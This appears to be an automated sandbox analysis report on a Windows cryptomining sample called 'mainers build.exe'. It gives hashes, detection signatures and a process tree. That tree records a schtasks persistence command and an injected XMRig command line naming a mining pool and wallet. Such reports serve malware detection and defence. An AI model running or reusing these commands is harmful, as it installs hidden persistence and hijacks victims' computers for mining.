Resubmissions
26/06/2024, 00:09
240626-afk9qsvdlm 1026/06/2024, 00:08
240626-afcmlavdkq 1026/06/2024, 00:07
240626-aejdrasbpd 1026/06/2024, 00:07
240626-aec7qssbnf 1026/06/2024, 00:06
240626-ad5wcssbmg 1026/06/2024, 00:06
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240626-acvn1asaqh 1026/06/2024, 00:04
240626-ackh2asape 1026/06/2024, 00:03
240626-ab5sksvblp 10Analysis
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max time kernel
2689s -
max time network
2687s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
26/06/2024, 00:03
Static task
static1
Behavioral task
behavioral1
Sample
mainers build.exe
Resource
win11-20240611-en
Behavioral task
behavioral2
Sample
mainers build.exe
Resource
win7-20240508-en
Behavioral task
behavioral3
Sample
mainers build.exe
Resource
win10-20240404-en
Behavioral task
behavioral4
Sample
mainers build.exe
Resource
win10v2004-20240611-en
General
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Target
mainers build.exe
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Size
29.7MB
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MD5
b93dd3965c81ec30c91ac4b16d56a7b5
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SHA1
6061c84646ce64812a87753ecbd96681e29bfb2c
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SHA256
b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e
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SHA512
cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e
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SSDEEP
786432:dQm2AnqisnglHxrW4jZ+cjyDmBOuOtkQupv6RN:eaqi0iHxq4tjysOtBr
Malware Config
Signatures
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XMRig Miner payload 17 IoCs
resource yara_rule behavioral2/memory/1236-46-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-44-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-50-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-42-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-40-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-38-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-36-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-34-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-32-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-57-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-56-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-55-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-54-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-53-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-49-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-30-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/1236-58-0x0000000140000000-0x0000000140786000-memory.dmp xmrig -
Executes dropped EXE 2 IoCs
pid Process 2632 services64.exe 2516 sihost64.exe -
Loads dropped DLL 4 IoCs
pid Process 2880 cmd.exe 2880 cmd.exe 2464 conhost.exe 2464 conhost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2464 set thread context of 1236 2464 conhost.exe 38 -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1712 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2140 conhost.exe 2464 conhost.exe 2464 conhost.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2140 conhost.exe Token: SeDebugPrivilege 2464 conhost.exe Token: SeLockMemoryPrivilege 1236 explorer.exe Token: SeLockMemoryPrivilege 1236 explorer.exe -
Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 2376 wrote to memory of 2140 2376 mainers build.exe 28 PID 2376 wrote to memory of 2140 2376 mainers build.exe 28 PID 2376 wrote to memory of 2140 2376 mainers build.exe 28 PID 2376 wrote to memory of 2140 2376 mainers build.exe 28 PID 2140 wrote to memory of 2620 2140 conhost.exe 30 PID 2140 wrote to memory of 2620 2140 conhost.exe 30 PID 2140 wrote to memory of 2620 2140 conhost.exe 30 PID 2620 wrote to memory of 1712 2620 cmd.exe 32 PID 2620 wrote to memory of 1712 2620 cmd.exe 32 PID 2620 wrote to memory of 1712 2620 cmd.exe 32 PID 2140 wrote to memory of 2880 2140 conhost.exe 33 PID 2140 wrote to memory of 2880 2140 conhost.exe 33 PID 2140 wrote to memory of 2880 2140 conhost.exe 33 PID 2880 wrote to memory of 2632 2880 cmd.exe 35 PID 2880 wrote to memory of 2632 2880 cmd.exe 35 PID 2880 wrote to memory of 2632 2880 cmd.exe 35 PID 2632 wrote to memory of 2464 2632 services64.exe 36 PID 2632 wrote to memory of 2464 2632 services64.exe 36 PID 2632 wrote to memory of 2464 2632 services64.exe 36 PID 2632 wrote to memory of 2464 2632 services64.exe 36 PID 2464 wrote to memory of 2516 2464 conhost.exe 37 PID 2464 wrote to memory of 2516 2464 conhost.exe 37 PID 2464 wrote to memory of 2516 2464 conhost.exe 37 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2464 wrote to memory of 1236 2464 conhost.exe 38 PID 2516 wrote to memory of 2452 2516 sihost64.exe 39 PID 2516 wrote to memory of 2452 2516 sihost64.exe 39 PID 2516 wrote to memory of 2452 2516 sihost64.exe 39 PID 2516 wrote to memory of 2452 2516 sihost64.exe 39 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\mainers build.exe"C:\Users\Admin\AppData\Local\Temp\mainers build.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2376 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mainers build.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"4⤵
- Scheduled Task/Job: Scheduled Task
PID:1712
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C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Users\Admin\AppData\Roaming\services64.exeC:\Users\Admin\AppData\Roaming\services64.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"5⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2464 -
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"7⤵PID:2452
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C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=49uDLq2aoTjRxqrxdYYZG8A3ZGcLbH2E3BdwpD5UASiEhBnSZ7ERBhqJ768MaBCEGb2tQRCy4m37PEzTjW1MjNF3GEecTzC --pass= --cpu-max-threads-hint=40 --cinit-idle-wait=2 --cinit-idle-cpu=80 --tls6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1236
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
31KB
MD5523b0b07998159ef63cae05147cda63a
SHA1382de578dbff037b4331829c9347222e409e026e
SHA256354628b91439e1bdb39992e6c24796312da01fd833e27466f1c2270bcb3acb1e
SHA512091126ab76a059c2d3b5084112e4c85eb8250e045b6cfee0ea8b47d01b4222a43138e003b8b9504734960f175281b138db4bb44668eae35bfa7270d417a5a7db
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Filesize
29.7MB
MD5b93dd3965c81ec30c91ac4b16d56a7b5
SHA16061c84646ce64812a87753ecbd96681e29bfb2c
SHA256b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e
SHA512cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e